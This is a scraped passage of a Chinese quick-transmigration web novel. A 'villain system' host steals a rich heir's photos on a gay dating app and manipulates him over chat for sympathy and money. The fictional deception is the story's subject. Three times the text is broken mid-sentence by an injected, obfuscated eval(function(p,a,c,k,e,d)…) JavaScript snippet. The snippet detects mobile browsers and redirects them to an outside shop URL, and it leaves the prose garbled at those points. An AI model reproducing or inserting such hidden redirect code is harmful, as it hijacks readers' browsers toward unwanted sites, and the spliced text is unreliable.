《反派执迷不悟之后【快穿】》 1. 网骗 “滴滴滴滴滴滴——” “滴——” 急促的警报声后是翻江倒海的眩晕感,元乂从日落西山缓到月上枝头才勉强开口道:“你是不是对我很不满。” 还在冒烟的系统滋滋啦啦道:“亲亲……虽然您十个任务失败九个半,积分亏成负十万,为人张狂自大下流又无耻,但您仍然是我尊敬的宿主,我怎么会对您不满呢。” “这是系统守则所不允许的。” 到新世界的疲惫难以言喻,元乂枕上双臂,懒洋洋地闭上了眼:“真的吗?” 系统:“当然了亲亲。” 元乂得寸进尺:“那你对我很满意喽?” 系统:“……当然了亲亲。” 元乂蹬鼻子上脸:“那你说我9528的宿主元乂是开天辟地宇宙无敌大帅哥。” “……”被这煞笔从b级系统拖累成破烂的9528,“。” 换个世界就特么要散架,还开天辟地宇宙无敌大帅哥,9528砍死元乂的心都有了,它一字一句,一板一眼,“你怎么不去死。” 休息的差不多的元乂跳下床去浴室:“你怎么不叫我亲亲了?” . 新世界:《一拍即合》 分类:都市 剧情简介:主角受兰笙和主角攻寇持原本素不相识,但他的大学舍友元乂网骗盗图盗到了寇持头上……寇持不远千里来到浦大,然后碰到了难得住宿舍一次的兰笙—— 郎才郎貌,天雷勾地火,一拍即合! ……原本的剧情的是这样的。 但小说演化成正世界时总会碰到情理之中,意料之外的意外。 主角攻寇持虽然发现元乂盗图了,但没有亲自来找元乂。 寇持钱多的烧都烧不完,还特别睚眦必报,他花了点钱请律师直接告到了元乂学校。 盗图装gay骗钱,元乂虽然没被开除,但自己在学校待不下去了。 他在后悔和怨恨的惶惶不可终日中病倒了,大二还没上完就休学回了家。 父早逝,母早亡,他从贫穷的家考了出去,又死在了贫穷的家。 …… 元乂这次的任务就是让寇持来浦大找他。 系统虽然很讨厌元乂,但毕竟跟元乂绑到了一条绳上:“你这次任务再失败,能量就要耗尽了。” 怕元乂不懂,它补充道,“能量耗尽就会死。” 浦大是虽然不是什么野鸡大学,各项设施都还可以,但元乂被分到了老校区,老旧空调既不能制冷又不能制热只会嗡嗡的响。 原主在这住了一年可谓是冬冷夏热。 空调坏了能修,人坏了不能。 不幸的人往往有个不幸的童年,原主在父母死后辗转在各个亲戚家,寄人篱下的日子过多了,难听的话听多了,人自然也就越来越安静,越来越沉默寡言。 兰笙开学来宿舍看了一眼就走了,原主没得选,只能住宿舍。 空调坏了三百六十五天,他怨了不止三百六十五次,他怨自己倒霉,怨导员的不闻不问,怨宿管不主动检修,甚至也怨刚来就来就走的兰笙。 要是兰笙在,他肯定会上报的。 但无论再怨,夏天再热,冬天再冷,他还是没上报。 也许上报了也没人修,也许修了也不会好,也许……肯定会遭宿管白眼,肯定会被修理工骂麻烦。 忍忍就过去了。 正如他过去好多个夜晚。 元乂这会儿就被闷了一身汗。 宿舍也没其他人,元乂边走边脱被后背被浸的湿漉漉的T恤:“难道任务成功就能一直活了?”不等系统说话,元乂嘻嘻笑道,“你在我之前绑定的宿主都去了哪?” 9528沉默了下。 9528全名反派扮演系统。 而反派总要不得好死。 亿万万小说演化出来的反派没有穷尽,人能承受的痛苦却是有限的,意识是灵魂的载体,9528之前绑定的宿主或长或短,皆因承受不住做反派的折磨意识溃散,灵魂也跟着消亡。 在奇点。 宿主就是耗材。 但哪怕耗材,它也给与了宿主难以想象的广阔人生和见闻。 坦诚讲,它觉得他们谁也不欠谁。 再说,元乂是和自愿和它绑定的。 不过9528也理解元乂:“你是觉得当反派太痛了,死怕了后悔了么?” “啊?”元乂闻言把被打湿的头发捋了上去,黑长的眉毛,阴郁苍白的五官,原本死宅的脸因为元乂的笑容稍显锋锐,“你怎么会这么想。” “当反派多好啊。” “放下个人素质,享受缺德人生。” 他话里多少有点兴奋,“我喜欢当反派,会痛才算活着。” “……” 系统忽然又想起它为什么要绑定元乂。 元乂生来没有痛觉。 ——这导致他多少点恋痛。 作为总会不得好死的反派,元乂简直是天赋卓绝。 元乂也确实是天赋卓越——他扮演的反派哪怕在剧情全崩后依然反派到不能再反派,完全符合情理,完全符合逻辑。 完全、丝毫不可能被它解绑。 被它驱逐。 9528内心凄苦。 它在亿万世界挖掘元乂是为了让自己去奇点得到母神的垂爱,而不是要把自己整的半死不活:“活着?”它嘲讽道,“你要死了。” 原主虽然是贫困生但并没申请贫困补助,生活费和学费全靠寒暑假进厂打螺丝,生活一直捉襟见肘。 原主刷牙洗头洗澡洗衣服都包给了一块肥皂。 灵魂快被抽干的感觉并不好受,元乂懒洋洋地用肥皂搓头发,说话也懒洋洋地:“怎么会呢。” “看好了,哥要带你飞了。” 9528全当元乂在放屁:“亲亲,您不如ooc下放我走呢。” 元乂喜欢裸着,洗完澡没擦头发也没穿衣服,光着脚就盘到了床上,原主的手机是高考完花两千块原低市价买的二手最新款水果机。 当然,敢捡漏就敢被坑。 这二手水果机电池不行,充满电只够俩小时。 现在则只能用半小时了。 久久等不到元乂回答,从元乂出来就只能看到一片马赛克的系统:“你能不能不要老光着……最起码把鸟盖上吧!”它语气不善,“你在干什么?” 元乂勾着头:“看校论坛啊。” “……”9528:“你看校论坛干什么?” 元乂翻了好几下才看到关于兰笙的帖子,主角攻寇持有钱到超出常人的想象,主角受同样家境殷实。 家境好,长得又帅,自然不缺人追。 再次被追着一起上课,一起去食堂,可能是不耐烦了,也可能是不想耽误人,兰笙前两天在食堂门口公开说他是gay。 论坛沸腾了。 有关兰笙的帖子发一个被删一个,但还是一直有人发。 元乂也凑热闹。 ——兰笙是gay。 ——什么是gay? 管理员高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109933|195851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强度巡逻,元乂发的帖子不仅秒殉,号都被封了一个月,但元乂也不在意。 做戏做全套,元乂在浏览器搜起了什么是gay。 9528看了又看,等了又等:“你到底在干什么?” 元乂说起了有些莫名其妙的话:“剧情是粗糙的,人物是要符合逻辑的。” “原主不可能突然想装gay骗钱。” “原主偶然得知主角受兰笙是同性恋后,一直自卑的心理莫名有了点高贵感。” “这种高贵感驱使着他去了解gay圈。” “他了解到直男在gay里面的生态位很高。” “十九年。” “——他终于好像似乎高人一等了。” 元乂说着,翘着腿注册了个著名的同性交友软件。 小蓝。 元乂注册着注册还笑了起来:“哎呀,我这个高贵的直男在这个有点见不得人的同性的交际软件上会起什么昵称,写什么个性签名啊。” “难猜。” “真的难猜。” 系统被说的点好奇了。 它调了下视角,看相了元乂的手机。 ——昵称:直男 ——个性签名:直男。同性恋勿扰。 “……”系统,“。” 难评。 十分地难评。 但这除了表明原主和你都是贱人,还能——系统忽然止住了。 不去奇点,系统和宿主哪怕是完成了任务,也是获得不了能量的。 此刻,就在现在。 它察觉到了一丝微不可查的能量。 怎么,怎么回事? 可能直男是小蓝里的香饽饽。 更可能是元乂太找打了。 “哥哥加我!”“你真的直么?”“弟弟多大了?”这种私信没跳几下,“装货”“直男你来什么小蓝”“钓鱼出门三百码。”“SB”“去死。”“显眼包,吃shi吧。” 元乂没看这些恶评:“虚拟的书要演化成真实的世界需要的是什么?” 他垂着睫毛托着腮,“真实。” “是真实的人啊。” “我只要补全自己所扮演的反派的行为逻辑,活的像个真实的人,推动此方世界演化,也能获得此方世界的馈赠。” 系统听不太懂,但不明觉厉。 但它的敬畏之心并没有保持多久。 “嘻嘻嘻,”元乂笑嘻嘻的攻击系统,“小统子你真不愧只是b级系统,干了这么久连这个都不知道。” 系统:“……” 来,跟我念。 jian,ren。 元乂也没管自己快要被骂烂的私信,九月,盛暑,哪怕已经十点多了,宿舍依然热得不行,他跳下床,咕咚咕咚灌了几口水后规规整整的把自己衣服洗了。 可能是小时候衣服总不合身,也不合时宜。 原主进大学后一直穿得挺体面的。 元乂甚至还打了壶热水,用自己的陶瓷缸子给自己有点皱巴的衣服熨了熨,要说这活有点繁琐,但元乂干的时候还在哼歌:“小白菜呀,地里黄呀——” ——嗡。 小蓝又响了。 “爸跑了也就算了,妈也没有?” 对一个孤儿,这是多么恶毒的话语! 元乂怔住。 元乂肩膀往里扣,元乂双眼微微泛红。 但可怜之人必有可恨之处。 元乂腾出手,笑嘻嘻扣回去几个字。 ——我可是直男。 2. 网骗 直男哥主页干干净净,一点信息没露,但有留言板。 不到两天。 元乂的留言板上大量的屏蔽词中夹杂着少数的污言秽语。 系统不否认元乂提出的真实理论有用,它说出去也很能装x,但这样获得的能量太少了,简直是九牛一毛,它等了又等,还是没按耐住:“别玩了,去做任务啊。” 元乂虽然照常去上课,照常回宿舍,但别人骂他多久,他就多久没吃饭了。 非常沉浸式地扮演了原主挨骂后茶饭不思、魂不守舍。 抱着书,沿着小路往老校区走,元乂这会儿病恹恹的,精神也有点萎靡,但说话仍然恶心巴拉:“人家哪里有在玩。” 系统:“没在玩你不去偷照片?” “直接偷有用么?”元乂,“直接偷有用还用我来么?” 别说,还真别说,但系统嘴梆硬:“那你说怎么办?” “等。”没等系统再次狗叫,元乂又道,“其实也差不多了。” 虽然爱是自由和平等的,但同性恋就是同性恋。兰笙这几天深陷舆论漩涡,寇持同样在跟家里干架。 独生子是同这个晴天霹雳简直要劈死寇家父母了。 普通人家有没有皇位他们不知道,他们寇家是真有皇位要继承。 元乂回去后稍作洗漱就躺到了床上。 系统见元乂翻开手机,也把脑袋凑了过去。 “撒泡尿照照镜子”“现实过的太压抑了吧”“绝对丑逼,但凡有女的看他一眼,也不会来这找存在感。”“家徒四壁太冷给你冻出来幻想来了,是直男gay就喜欢你吧?” “呵,活这么久就这点事能拿出来吹,可悲不可悲——” 不得不说人类天生就是擅长推理并且刻薄的生物。 感慨完的系统扭头看元乂。 “我做错什么了,实话实说怎么了,竟然敢骂我——骂我也就算了,还骂这么准,我要恼羞成怒,我要——统,主角攻的号给我。”元乂架起梯子往外翻,“我要去偷照片了,嘻嘻。” 浦大再怎么说也是个一本。 原主但凡聪明点就不会去偷国内的照片。 元乂网不好,寇持的照片加载出来的也慢,但元乂还是直接坐了起来。 护目镜,纯黑面罩,藏蓝冲锋衣,一望无际的雪场。 男生俯视着镜头,完全看不到脸,只能依稀看到他微微眯着的眼,黑浓的睫毛卷翘。 帅真的只是一种感觉。 ——严格来说这并不是寇持的号。 号上寇持的照片就这么一张,剩下的都是些练习插花还有绘画还有烘焙的照片。 但号主人显然学艺不精,她花插得乱七八糟,画的不咋地,烘焙全是糊的。 元乂没记错的话,寇家爸妈把寇持学坏归到了国外生活太自由奔放上,这儿已经把寇持赶回了国内。 生存危机一解决,人就有点思□□了。 他视线往下瞟:“统哥,他成年了么?” 主角受刚自爆是gay,主角攻这边就被赶回国,两个人都在压抑的头上,剧情还真是严丝合缝,系统刚想这得需要多大的计算量:“谁?” 元乂点名道姓:“主角攻寇持。” “你问这个干什么。”系统虽然纳闷,但还是道,“昨天是他十八岁生日。” “哇,好巧。”元乂惊喜道,“我也刚好十八!” “……”系统,“你八千了还差不多。” 元乂也不反驳,他笑眯眯伸手:“那你把我之前的记忆给我?” 接连失败十个任务,元乂如今的精神力跟普通人差不多,系统直接冷笑:“你要?你敢要?记忆全给你,你能被冲成痴呆你信不信?” 元乂的求生欲一向非常爆棚,他啪得收回了手:“人家开玩笑的啦!” 系统微微一吐以表敬意:“呕!” 元乂一点都没被系统扫到性质,他一边看寇持照片,一边在床上打滚:“哎呀,他要是爱上我怎么办。” 系统倒不介意宿主在执行任务中和一些人发生一些关系,但元乂把主意打到寇持身上,显然也是有些癔症了:“他要能爱上你我倒立洗头。” 元乂这会儿已经打完滚了,空调依然不制冷,宿舍依然很热,他才洗完澡,脑门又一层汗。 漫过后脖颈的黑发,秀气瘦削的脸,不说话时文静的有点像小姑娘、一摸就会闭拢的害羞草。 这会儿汗蒸蒸的,脸都有点红。 元乂是挺好看的。 但要说跟兰笙比。 ——那还是早点洗洗睡吧。 元乂怕热,又去洗了个澡,但他没有早点睡。 他把偷来的图发到了自己主页。 并配文:直男。 物多则贱,物少则贵。 gay圈一就稀缺。 寇持这样的他们能在梦里舔舔照片就算是圆梦了。 “沃日?”“哥哥。”“father!!!”“弟弟多大啊?”“已私,求回信。”“我183,家里有点小钱。”“明人不说暗话,求约!”“噫呜呜噫,卖吗?我愿意倾家荡产。” 当然也有正义之士,“脸都没露,你们骚什么?” “我愿意他穿着这样*我。” 只留言的都算是含蓄的。 别说原主,元乂都受不了的私信的大图冲击了。 元乂直接关了私信。 直男这两天黑红黑红的,忽地冲到首页后热度一直居高不下。 光寇持就刷到了三次。 ……没错,寇持前两次都没认出来那是自己,两次都直接划过去了。 但毕竟是自己,越看越眼熟。 包成那样,又是前两年冬天,寇持都不记得他拍过的照片……竟然被人盗了,还被他看到了。 此事的离奇程度放到柯南里至少得拍三集。 要说能直接交给律师,但毕竟是热门,寇持如同照片里一般眯起眼审视起了元乂的主页。 然后直你妈的男! 他老子老娘找他晦气,这又是哪个煞笔。 找到他不给他头拧下来,算他好说话。 寇持冷笑着点进元乂的动态,直接了当的私信道:【就你妈的偷我照片。】 ——“对方已开启免打扰功能。” 这煞笔竟然还敢关私信! . 元乂这辈子没吃过什么颜值红利。 至少没吃过这样的颜值红利。 放完照片后评论区简直是两级反转。 性骚扰的示爱暂且放一边,元乂的眼珠轻移。 “十元巨款求wx。”“加就给五百,视频翻倍。”“私我,四位数你随便提,我包机票——” 这样的评论区有点加深元乂对gay的刻板印象,但同时又唤起了点别的欲望。 他的手机实在不能用了。 二手也实在容易被坑。 要是能有个最新款水果机就好了……前两年的款也行,只要别和同学们差太多。 但元乂也不过是想想。 天上没有馅饼。 也没人会给他钱。 同样能看到评论区的还有寇持。 被人当成鸭问价。 都不能说生气了。 寇持磨了下后牙槽,竟然笑了起来。 【k:一群穷鬼,我出五十万,直男私我。私我就给。】 元乂没第一时间看到k的评论。 五块十块的他们说是真给,k这小浪蹄子说五十万这不纯装逼么。 k是被骂到前排的。 元乂一看,呦,正主来了。 系统并不是很明白:“他来问你了?他为什么不直接告你了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109934|195851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“二十八岁寇持看到我拿他的照片说我是直男会微微一笑后告我全家。”元乂笑眯眯道,“十八岁的寇持会直接问候我全家。” “更何况现在被这么多人‘礼貌问价’。”元乂顿了顿,“他应该想宰了我。” 系统:“……” “。” 系统沉吟:“虽然听起来是坏消息,但实际上应该是好消息。他会去你学校找你的吧。” 元乂戳进和寇持的聊天框,睫毛却压得低低的:“要能来就好了。” “哪有BOSS开大锤小兵的。” “他花点钱就能解决我,何必亲自来。” “你当人家富二代这么闲么。” “……不值当。” “再说,‘我’胆子也不大,他说我两句,我肯定删。” 元乂的眼珠比寇持的还要黑点,但看起来就是很纯良。 他的气质太呆了。 【直男:真的么。】 寇持心想你想的美,还五十万,头不给你打歪他不姓寇。 【直男:你骗我的吧。】 【直男:我知道你是骗我的。】 系统正想你说这废话有什么用。 元乂发了条语音过去。 他两天没吃饭了,饿得有气无力的,他说话还本来就慢,可能是营养不良,也可能是天生的,他变声只变了一点。 元乂的声音至今还有点辣条音,不该想归不该想,但头一次这么多人说要给他钱,他也不多要:“我不要五十万,你能给我五块钱么。” 寇持听了一遍,然后又听了一遍。 这贼几把难听辣条音。 这傻x无脑的发言。 非常非常的未成年。 寇持想也不想的打字:你特么多大了。 想了想,他又删了俩字。 【k:你多大了?】 元乂弯起眼睛笑了下。 原主不擅长撒谎。 他也不能张嘴就来。 但避重就轻嘛。 【直男:你是不是不想给我。】 寇持:“……” 寇持又听了那遍语音。 五后面没十也没万,就五块。 【k:……那倒也不是。】 寇持刚发出去就后悔了。 他说这个干什么。 他就是有钱、就是不给他又怎么了。 这煞笔盗他图还敢问他要钱。 【k:你妈呢。】 【直男:死了。】 寇持:“……” 有时候他虽然不太礼貌和文明,但毕竟不是真的不太礼貌和文明。 但人就是再倒霉,也不会倒霉到这种程度。 【k:那问你爸要。】 元乂又捏了条语音过去,很短,只有1s。 寇持第一次没赌却像站在了赌桌上。 那边声音静静的、呆呆的,好像并不为此悲伤:“我爸也死了。” “……” 寇持平生第一次痛苦地抓了下自己头发。 但寇持不信这个邪。 网上的骗子千千万,别说爸妈,七舅姥爷都能死。 【k:你骗我的吧。】 那边秒回。 【直男:骗你我也去死。】 缓了缓。 【直男:可能我家基因不好。】 又缓了缓。 【直男:对不起,打扰了。我知道问人要钱不好,也不会有人会给我……我就是,第一次有这么多人说要给我钱,我想试试……实在对不起。】 寇持:“……” 寇持:“。” 其实他还能再不信邪一下,问直男要一下他爸妈的死亡证明,但做人不能这样,至少他不行。 【k:wx给我。】 【k:我给你五块。】 3. 网骗 这边的元乂捧着手机笑。 这边的系统反复查看聊天记录:“?” 不是。 说好的要告你呢,“他为什么要给你转钱?不是,你为什么问他要钱。” 终于问到他的天才计划了。 元乂轻弹衣袖:“就我们俩这身份差,我能干的最恶心的事就是偷他照片了,还就能偷一张。” “他根本不可能亲自来找我。” “而被他帮过的人再狠狠恶心下他就不一样了。” “——他一定食不下咽,彻夜难眠。” “简而言之,言而简之。”元乂笑嘻嘻道,“人家这次要当狗咬吕洞宾的狗啦!” 系统见过的贱人不少,但这么贱的还是少见,不过它也不在意:“你确定寇持这样的会当吕洞宾?” “他不是已经开始当了么。” 元乂说话的时候,双眼一直没离开手机。 过了会,差不多两分钟,他觉得差不多的时候,他才又发过去一条语音。 语音仍旧只有一秒。 寇持也不知道在犹豫什么,但确实犹豫了下才点开。 那边仍旧是辣条音,说话很慢,语调稍微有些潮湿:“谢谢你。” 随后就是一串微信。 【直男:也谢谢你要我的微信。】 这偷图的还怪有礼貌的……妈的,寇持这一瞬间感觉自己中邪了。 寇持把眉心压下去。 寇持决定速战速决。 元乂上一秒才把微信号发过去,下一秒就收到了寇持的转账。 【k:转账5】 【k:你主页偷的我的图。】 【k:把我的照片删了,不然我打死你。】 “k撤回了一条信息” 【k:把我照片删了,不然我要你好看。】 寇持等着元乂回他。 元乂不太记得他原来是干什么的了,也太记得他之前都做过什么任务,但显然他精湛的演技已经刻在他的骨子里。 父母早亡,他辗转飘零,为人一直小心翼翼。 这是他平生做过的最坏的事。 他恐惧到有些生理性痉挛,觉得自己闯了弥天大祸,然而照片的主人转给了他五块钱。 元乂眼角已经红了起来。 喉咙微涩。 不管故事的结局如何,他这时候的感激是真的。 【好好学习:我……】 元乂虽然是装的恐惧,但手确实有点抖,打打删删好一会儿,他选择发语音过去。 说话他就很擅长了。 他后怕,他惶恐,他感激,他紧张,他有点结巴:“我不知道……对不起……”不带入情绪演不好,一代入情绪确实嗓子都抖,元乂尽力稳了稳,“我是第一次,我没想到,是不是让你很困扰……对不起,他们先骂我的,我骂不回去……我就。” 老实且沉默寡言的人似乎是知道自己在说下去就彻底不成调了。 【好好学习:对不起,我真的做了很不好的事。】 【好好学习:我这就去删帖。】 【好好学习:谢谢你找我。】 【好好学习:谢谢你不骂我,还给我……钱,我真的……】 那边似乎的羞愧的要死了。 好一会才继续打字。 【好好学习:你是这世界上除了我父母对我最好的人。】 寇持确实不太确定对面多大,但看这比老鼠大不了多少的胆子,和给他转了五块就是除了父母对他最好的人的雷霆发言。 【k:你到底多大。】 【k:未成年不能注册小蓝你不知道?】 元乂没回寇持。 他把钱点了退回。 犹豫了犹豫,他把自己身上的钱全部转了过去。 刚开始那两年亲戚们对他也算说的过去,但养一个男生谈何容易……大到学费生活费小到本子笔橡皮……休恋似水,如鲠在喉。 可能不是真的想要这个钱。 只是长久以来,老是因此而哽咽。 【好好学习:转账423.13】 【好好学习:真的谢谢你愿意给我。】 寇持:“……” “。” 五块钱不但被退了回来,还收到了423.13,可能是对方全部身家的巨款。 对面的人是不是畜生他不知道,反正他多少有点畜生的嫌疑了。 寇持顿时感觉一阵头痛。 他的言语也是相当之犀利。 【k:你是煞笔么。】 【k:钱给了我,你怎么活。】 【k:回我。人呢。】 【k:?】 …… 偷他的图也就算了,还敢晾着他。 寇持整整扣了一整页的问号后啪得把钱收了。 显然,寇持是有素质的,但不多。 . 元乂这次真不是故意晾着寇持的。 他手机没电了。 系统看着把手机一抛就往床上一瘫的元乂,罕见的没继续催元乂做任务:“别饿死了,快去吃饭吧。” 元乂确实快饿死了,但他没动弹,他懒洋洋地:“我饭卡还有多少钱。” 他要吃顿好的! 系统:“0.56。” 元乂:“?” 系统:“?” 元乂跟条鲫鱼一样弹了起来:“就剩五毛钱了,你刚不跟我说让我留点。” 元乂要是想做任务,行动能力可谓是相当的强,之前的任务肯定是元乂故意搞砸的,但系统已经过去了生气的阶段:“你不是一向有自己的主意么?” 元乂刚想还嘴又笑嘻嘻地承认了:“这倒是。” 系统顿了下,还没想好要怎么回,元乂就已经自己翻身起来了。 食堂馒头五毛钱一个。 元乂也不是完全吃不起饭。 寇持也就是在气头上,他有爹有妈的,生活也算一帆风顺,不至于真当一个畜生。 不过他也真的不是啥好人。 【k:在?】 直男回就把钱给他。 不回那就给直男上一课。 元乂不好意思就在食堂就吃一个馒头,就把饭打包带了回来。 他有点不足为外人道也的喜欢。 他喜欢吃馒头泡热水或者米饭泡热水。 这叫回归食物的本味。 元乂回来后他的手机也开机了,看到寇持发过来的在,他也回了一个字。 【好好学习:在。】 寇持就没被人这么丢下过。 【k:你刚怎么不回我,你干什么去了?】 【好好学习:去买饭。】 寇持这才想起来到饭点了。 不过他都没吃,对面怎么敢去的。 寇持顿时扬起了眉。 【k:你刚抛下我是去吃饭了?】 【好好学习:嗯嗯嗯。】 嗯你妈个头,寇持冷笑:【我在这生气,你吃上了?你好大的胆子。】 【k:不许吃,再吃头给你拧下来。】 【好好学习:……】 【好好学习:可我好饿。】 寇持正想说你能有多饿。 手机嗡的一声。 【好好学习:我两天没吃饭了。】 寇持深呼吸再深呼吸。 扯谎也不扯点正常的。 又是父母双亡,又是两天不吃饭的。 对面是不是觉得他太好说话了。 寇持这会真的有点炸,酷哥神情阴森森地打字:【你当我傻?】 【好好学习:真的。】 【k:呵。】 【好好学习:我这两天就只喝了水。】 【k:呵呵。】 【好好学习:……真的。】 【k:。】 对面显然不信,元乂抿了下唇,喃喃自语:“我这么老实,竟然不相信我……我我我——” 元乂笑嘻嘻地掀开了衣服:“那我不得不自证了。” 这具身体常年有点营养不良,也常年不见什么阳光。 胸下策凹着肋骨边缘清晰、有点嶙峋,肚皮也是薄薄的一层。 丝毫没有美感,完完全全地病态。 【好好学习:照片】 【好好学习:我真的两天没吃饭了。】 照片有些糊,糊到寇持一时间没看清这是什么,等他反应过后——昏暗的宿舍、半掀的T恤,嶙峋的肋骨,干瘪的像纸的一样地小腹。 对面确确实实两天没吃饭了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109935|195851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 对面可能真的爹妈都没了。 寇持脸色稍微扭曲了下。 但他绝不承认自己是连孤儿都整的混蛋。 他虽然不善良,但绝对是好人。 寇持孤注一掷。 【k:你不是把钱都给我了?哪来的钱买饭。】 【好好学习:我饭卡里还有钱。】 你果然还有钱。 寇持激情打字。 【k:不是对不起我,要感谢我吗?饭卡里面的钱为什么不给我。你这就是藏私。】 【好好学习:我饭卡就剩五毛三了。】 【好好学习:而且饭卡里的钱也取不出来。】 寇持倒不在意对面饭卡剩了多少钱,他就觉得元乂又在扯了:【五毛三你能吃什么饭?】 【k:你骗我的吧。】 【好好学习:图片】 图很简单,简陋的宿舍,简陋的桌椅,简陋的馒头配开水。 【好好学习:能吃这个。】 【好好学习:没骗你。】 寇持:“……” 什么叫绝望。 这特么就是绝望! 【好好吃饭:我刚不是故意不回你的。】 【好好吃饭:我手机不好,充电很慢,刚开机我就回你了。】 寇持都准备张嘴道歉了,忽然又瞥到了元乂在线的手机标。 去年刚出最新款的水果机,他又生起了新的疑心:【你手机还不好?】 【好好学习:我花两千买的二手的。】 毕竟是男生,寇持对电子产品还算了解,他当即质疑道:【两千你能买到新款?】 【好好学习:嗯,买不到的。】 【好好学习:我被骗了。】 【好好学习:黄豆脸.哭.jpg。】 不是流传正盛的表情包,是黄豆哭的表情。 有点老气。 看起来又有点绝望。 隔着网络,寇持其实还不是很信,但人不能只相信自己想信的。 他并非完全不讲理。 四舍五入算他收了人五百,他加倍还回去。 【k:转账1000】 【k:今天算我倒霉。】 【k:快领,领完我删了你。】 元乂已经在吃馒头泡饭了,扮演就是想他人所想,感他人所感。 做不到就赚不到能量。 做得到就总流泪。 馒头泡水是甜的,吃起来确实咸的,元乂其实不止没有痛觉,他像是被重置过一样,其实也没有情绪。 他只有沉浸式扮演才会感觉到痛或者伤心或者快乐。 他享受这种感觉。 他眼睛在流泪,唇角却翘了起来,为自己的伤心感到快乐。 【好好学习:谢谢你,你是好人。但我不能要。】 【好好学习:……如果你不喜欢我。】 【好好学习:那就把我删掉吧。】 【好好学习:实在谢谢你。】 【k:……】 虽然没给对方多少钱,但也绝对是吃了亏的寇持,“。” sb。 固然他给人的钱的行为十分煞笔,但他有钱,他就是用钱打水漂都只能说他土豪,这穷逼穷成这样还不要。 寇持真心发问:“你脑子有病?” 男生声音昂且很有磁性。 元乂反复听了好几遍。 【好好学习:黄豆脸.笑,jpg】 “……” 笑什么笑。 脑子有病就去治行么。 寇持是真想给元乂删了,但要是给他爸妈知道他坑一个孤儿坑了四百二十三块一毛三,他至少得被砍成八段。 他耐着最后的性子,“你、到、底、要、不、要!” 【好好学习:不要。】 寇持的忍耐是有限度的。 他也确实是带善人。 【k:行。】 【k:你行。】 【k:你清高!你了不起!你以后赚的钱都给我,以后你就吃糠咽菜,顿顿开水泡馒头吧!】 哎呦,恼了。 那就更恼一点吧。 元乂笑咪咪扣字:【那不行。】 【好好学习:我又不傻。】 4. 网骗 元乂说完就没再看手机。 银行卡分币没有,饭卡就剩了三分。 生存危机迫在眉睫。 寝室闷得人发汗,憋得人发昏,元乂洗了把脸才出去兼职。 浦大虽然不是985但也是个211,在当地是相当的有名。原主刚大二,知识还没有完全还给老师,要说是能给人当补习老师,轻松时薪二百的。 但原主实在不擅长与人沟通。 元乂去了原主常去快递中转点。 女的搬小件,晚八到早八一百五,男的搬大件,晚八到早八两百。 轰鸣的机器声喧杂,流水线比马跑得快,白炽灯比太阳还亮,元乂没干一会儿就灰头土脸,头晕眼花。 但原主老实人,不会偷懒。 元乂愣是干到线长害怕他昏倒,让他休息下,才去扎满人堆的饮水间喝水。 冷气轰然而至。 元乂顿时神清气爽。 他扯了扯被汗浸湿的前襟,又冲脸扇了扇风:“几点了。” 系统:“十点。” “十点?你这不纯扯淡。”元乂翻手机,“我怎么可能才干了俩小时……” 22:04。 元乂难以置信。 元乂闭眼。 元乂哽咽了下:“噫呜呜噫——” 同样度日如年的还有寇持。 19:12 【k:你不傻?】 …… 19:23 【k:人呢?】 【k:你又跑了?】 20:34 【k:从来没人敢晾着我。】 20:51 【k:行。】 20:56 【k:呵。】 …… 寥寥几条信息刻录着寇持明显的情绪变化。 元乂本来确实挺不爽的。 这下他手也不疼,腰也不酸了。 鲁迅先生从来没说过——人类的快乐往往建立在他人的痛苦上。 就在元乂笑脸要出来的时候,寇持发来了张照片。 【k:图片】 落地窗外霓虹绚烂,黑白餐桌低调奢华,身着燕尾服的服务员双手托着账单,鹅肝配百香果,扁豆香肠、鲑鱼上点着榛子牛奶泡沫、芝士松露鸡腿卷,光洁的刀叉的银白,已经切开的牛排泛着诱人的色泽—— 元乂不觉放大了下图。 元乂饥肠辘辘。 元乂下意识去看自己吃起吃不起。 ——应收:2192 ——服务费:199 ——实收:2391 寇持的信息接踵而至。 【k:难吃。】 【k:难吃到我家狗都不吃。】 【k:下次不来了。】 “……”被馋得要死的元乂,“?” 显然。 贱人对贱人。 元乂无敌的一生棋逢了对手。 系统都笑了出来:“哈,哈哈。” “哼!”反应过来的元乂,“哼哼哼哼——” 你有钱是很了不起。 但我这就让你见识一下什么是贫穷的力量。 【好好学习:不好意思。】 【好好学习:我刚在兼职。】 解释完,元乂一条条回寇持。 在“你不傻?”这条后面回复“我不傻”,在“人呢”这条后回“我在”,在“你又跑了”这条后回复,“没跑。我兼职。不然明天就没钱吃早饭了”,在“晾着”那条后回“对不起”。 元乂勤勤恳恳,老老实实地回了寇持一大串消息。 那张图他也回了。 